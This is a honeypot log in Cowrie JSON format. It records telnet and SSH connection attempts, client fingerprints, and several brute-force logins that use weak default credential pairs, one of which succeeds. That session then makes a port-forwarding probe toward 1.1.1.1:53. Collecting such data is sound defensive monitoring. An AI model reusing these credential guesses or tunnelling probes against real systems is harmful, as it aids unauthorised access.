{"eventid":"cowrie.session.closed","duration":120.01153326034546,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:20:01.352648Z","src_ip":"188.132.249.246","session":"d555eea3fbf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.132.249.246","src_port":45550,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fc3fd846302","protocol":"telnet","message":"New connection: 188.132.249.246:45550 (159.203.135.109:23) [session: 8fc3fd846302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:20:02.260892Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.177.32.194","src_port":45126,"dst_ip":"159.203.135.109","dst_port":23,"session":"b46b83c72b5a","protocol":"telnet","message":"New connection: 223.177.32.194:45126 (159.203.135.109:23) [session: b46b83c72b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:20:04.476611Z"}
{"eventid":"cowrie.session.closed","duration":120.00196838378906,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:20:05.715072Z","src_ip":"188.132.249.246","session":"05d615599fd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.132.249.246","src_port":45812,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7e7790af772","protocol":"telnet","message":"New connection: 188.132.249.246:45812 (159.203.135.109:23) [session: e7e7790af772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:20:06.838312Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.177.32.194","src_port":45642,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ff9a8736348","protocol":"telnet","message":"New connection: 223.177.32.194:45642 (159.203.135.109:23) [session: 5ff9a8736348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:20:12.097418Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.123.136.11","src_port":47974,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cd136d83618","protocol":"ssh","message":"New connection: 181.123.136.11:47974 (10.17.0.5:22) [session: 2cd136d83618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:20:17.350086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:20:17.359889Z","src_ip":"181.123.136.11","session":"2cd136d83618","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:20:17.531081Z","src_ip":"181.123.136.11","session":"2cd136d83618","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"789456","message":"login attempt [admin/789456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:20:18.233558Z","src_ip":"181.123.136.11","session":"2cd136d83618","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:20:19.419942Z","src_ip":"181.123.136.11","session":"2cd136d83618","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.177.32.194","src_port":46072,"dst_ip":"159.203.135.109","dst_port":23,"session":"14d15de4c346","protocol":"telnet","message":"New connection: 223.177.32.194:46072 (159.203.135.109:23) [session: 14d15de4c346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:20:19.870666Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":44102,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7bd9d457b5c","protocol":"ssh","message":"New connection: 193.32.162.145:44102 (10.17.0.5:22) [session: f7bd9d457b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:20:31.170119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:20:31.174963Z","src_ip":"193.32.162.145","session":"f7bd9d457b5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:20:31.333637Z","src_ip":"193.32.162.145","session":"f7bd9d457b5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"qwerty123","message":"login attempt [solv/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:20:31.661824Z","src_ip":"193.32.162.145","session":"f7bd9d457b5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:20:32.774015Z","src_ip":"193.32.162.145","session":"f7bd9d457b5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.83.1.76","src_port":62850,"dst_ip":"159.203.135.109","dst_port":23,"session":"90c0c9415577","protocol":"telnet","message":"New connection: 170.83.1.76:62850 (159.203.135.109:23) [session: 90c0c9415577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:21:53.446012Z"}
{"eventid":"cowrie.session.closed","duration":120.00954794883728,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:02.270305Z","src_ip":"188.132.249.246","session":"8fc3fd846302","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.132.249.246","src_port":52130,"dst_ip":"159.203.135.109","dst_port":23,"session":"121af8db873e","protocol":"telnet","message":"New connection: 188.132.249.246:52130 (159.203.135.109:23) [session: 121af8db873e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:03.372791Z"}
{"eventid":"cowrie.session.closed","duration":120.0031681060791,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:04.479680Z","src_ip":"223.177.32.194","session":"b46b83c72b5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.161328792572021,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:06.607225Z","src_ip":"170.83.1.76","session":"90c0c9415577","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":21276,"dst_ip":"159.203.135.109","dst_port":22,"session":"654194b24ba4","protocol":"ssh","message":"New connection: 194.59.206.2:21276 (159.203.135.109:22) [session: 654194b24ba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:06.780487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:06.786233Z","src_ip":"194.59.206.2","session":"654194b24ba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00142335891724,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:06.839627Z","src_ip":"188.132.249.246","session":"e7e7790af772","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:06.873846Z","src_ip":"194.59.206.2","session":"654194b24ba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:06.967733Z","src_ip":"194.59.206.2","session":"654194b24ba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00669765472412,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:12.103992Z","src_ip":"223.177.32.194","session":"5ff9a8736348","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0041332244873,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:19.874698Z","src_ip":"223.177.32.194","session":"14d15de4c346","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.177.32.194","src_port":55026,"dst_ip":"159.203.135.109","dst_port":23,"session":"d731d322db9e","protocol":"telnet","message":"New connection: 223.177.32.194:55026 (159.203.135.109:23) [session: d731d322db9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:20.867692Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":34636,"dst_ip":"10.17.0.5","dst_port":22,"session":"6de51b24df56","protocol":"ssh","message":"New connection: 193.32.162.145:34636 (10.17.0.5:22) [session: 6de51b24df56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:42.973283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:42.978907Z","src_ip":"193.32.162.145","session":"6de51b24df56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:43.078979Z","src_ip":"193.32.162.145","session":"6de51b24df56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"qwerty1234","message":"login attempt [sol/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:43.436539Z","src_ip":"193.32.162.145","session":"6de51b24df56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:44.540208Z","src_ip":"193.32.162.145","session":"6de51b24df56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":51798,"dst_ip":"10.17.0.5","dst_port":22,"session":"92729d3ff88f","protocol":"ssh","message":"New connection: 87.251.64.176:51798 (10.17.0.5:22) [session: 92729d3ff88f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:56.405550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:56.410079Z","src_ip":"87.251.64.176","session":"92729d3ff88f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:56.510190Z","src_ip":"87.251.64.176","session":"92729d3ff88f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:56.799114Z","src_ip":"87.251.64.176","session":"92729d3ff88f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:56.898544Z","session":"92729d3ff88f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:56.996362Z","src_ip":"87.251.64.176","session":"92729d3ff88f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:22:57.096911Z","src_ip":"87.251.64.176","session":"92729d3ff88f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":38395,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b8e38fffee1","protocol":"ssh","message":"New connection: 2.57.121.112:38395 (159.203.135.109:22) [session: 7b8e38fffee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:23:43.643126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:23:43.647530Z","src_ip":"2.57.121.112","session":"7b8e38fffee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:23:43.748546Z","src_ip":"2.57.121.112","session":"7b8e38fffee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"150575","message":"login attempt [admin/150575] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:23:44.225531Z","src_ip":"2.57.121.112","session":"7b8e38fffee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"150393","message":"login attempt [admin/150393] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:23:45.330623Z","src_ip":"2.57.121.112","session":"7b8e38fffee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"150378","message":"login attempt [admin/150378] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:23:46.444021Z","src_ip":"2.57.121.112","session":"7b8e38fffee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"15022000","message":"login attempt [admin/15022000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:23:47.549494Z","src_ip":"2.57.121.112","session":"7b8e38fffee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"15021970","message":"login attempt [admin/15021970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:23:48.655151Z","src_ip":"2.57.121.112","session":"7b8e38fffee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:23:49.760481Z","src_ip":"2.57.121.112","session":"7b8e38fffee1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":57544,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0607bd70a30","protocol":"ssh","message":"New connection: 200.118.150.20:57544 (159.203.135.109:22) [session: b0607bd70a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:24:00.798295Z"}
